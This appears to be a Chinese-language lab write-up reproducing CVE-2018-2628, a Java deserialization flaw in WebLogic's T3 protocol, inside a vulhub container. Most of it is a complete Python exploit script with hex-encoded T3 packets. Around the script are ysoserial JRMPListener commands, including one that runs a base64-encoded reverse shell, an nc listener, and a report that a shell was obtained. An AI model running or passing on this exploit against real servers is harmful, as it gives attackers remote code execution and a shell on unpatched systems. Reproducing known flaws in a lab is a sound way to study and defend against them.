影响范围

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.2.0
  • WebLogic 12.2.1.3.0

漏洞类型

Java 反序列化

操作系统限制

配置要求

  • 对外开放 7001

漏洞利用

命令执行,反弹 shell

利用原理

WebLogic 为防范反序列化设置黑名单,sun.rmi.server.UniicasetRef 不在黑名单内,T3 协议是 WebLogic 独有的通信协议,主要用于不同 Java 虚拟机之间传输对象,WebLogic 默认所以端口都支持 T3,攻击者通过 T3 协议把精心构造的 UnicastRef 序列化对象发给 WebLogic,WebLogic 反序列化对象时,会作为 JRMP 客户端主动连接攻击者服务器,攻击者服务器下发恶意 payload,此时 WebLogic,是通过 JRMP 协议进行数据传输,从而绕过最外层的 T3 协议过滤器

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2018-2628
#拉取镜像
docker-compose up -d

1773400261426

下载攻击工具并检查是否有 Java 环境

1
2
3
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

1773400307472

运行命令

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 监听端口 CommonsCollections1 执行的命令

1773400408672

创建攻击脚本 exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from __future__ import print_function
import binascii
import os
import socket
import sys
import time

def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
# 生成 ysoserial payload 并转换为十六进制字符串
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("[*] 生成 Payload 命令: " + command)
os.system(command)
if not os.path.exists('payload.out'):
print("[!] 错误: payload.out 未生成,请检查 java 环境及 ysoserial 路径")
sys.exit()
with open('payload.out', 'rb') as f:
bin_file = f.read()
# Python 3 中 hexlify 返回 bytes,需要 decode 为字符串
return binascii.hexlify(bin_file).decode('ascii')

def t3_handshake(sock, server_addr):
sock.connect(server_addr)
# T3 协议握手包
handshake = binascii.a2b_hex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
sock.send(handshake)
time.sleep(1)
res = sock.recv(1024)
if b'HELO' in res:
print('[+] T3 握手成功!')
else:
print('[!] T3 握手可能失败,收到响应: ', res)

def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
# 注入端口号
data2_hex = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'

for d in [data1, data2_hex, data3, data4]:
sock.send(binascii.a2b_hex(d))
time.sleep(2)
print('[+] 发送 T3 请求对象成功, 接收长度: %d' % (len(sock.recv(2048))))

def send_payload_objdata(sock, data):
# data 为十六进制字符串。请注意:这里的 payload_prefix 和 payload_suffix 必须是完整的长字符串,不能断行。
payload_prefix = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload_suffix = 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

full_payload = payload_prefix + data + payload_suffix
# 计算长度头
length = '{:08x}'.format(len(full_payload) // 2 + 4)
final_packet = binascii.a2b_hex(length + full_payload)

sock.send(final_packet)
time.sleep(2)
# 重发确认
sock.send(final_packet)

res = b''
try:
while True:
chunk = sock.recv(4096)
if not chunk: break
res += chunk
time.sleep(0.1)
except Exception:
pass
return res.decode('ascii', errors='ignore')

def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
server_addr = (dip, dport)
try:
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload_hex = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("[*] Payload 生成成功 (长度: %d)" % len(payload_hex))
rs = send_payload_objdata(sock, payload_hex)
print('[+] 利用尝试完成!请检查 JRMPListener 和 NC 终端。')
except Exception as e:
print("[!] 发生错误: ", e)
finally:
sock.close()

if __name__=="__main__":
if len(sys.argv) != 7:
print('\n用法:\npython3 exploit.py [靶机IP] [靶机端口] [ysoserial路径] '
'[JRMP监听IP] [JRMP监听端口] [JRMPClient]\n')
sys.exit()

dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

1773400451085

运行攻击脚本

1
python3 exploit.py 靶机ip 7001 ysoserial.jar 攻击机ip ysoserial监听的端口 JRMPClient

1773400505342

运行 ysoserial 窗口有回显

1773400551030

进入容器内部查看 tmp 文件夹,发现有 success,说明命令执行成功

1773400593203

下面进行 getshell,开启 nc 监听,nc -lvnp 监听端口

1773400626185

使用 ysoserial 攻击执行反弹 shell 命令

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'

1773400661414

运行攻击脚本

1
python3 exploit.py 靶机ip 7001 ysoserial.jar 攻击机ip ysoserial监听的端口 JRMPClient

1773400714904

运行 ysoserial 窗口有回显

1773400763975

成功连接,虽然不稳定

1773400811191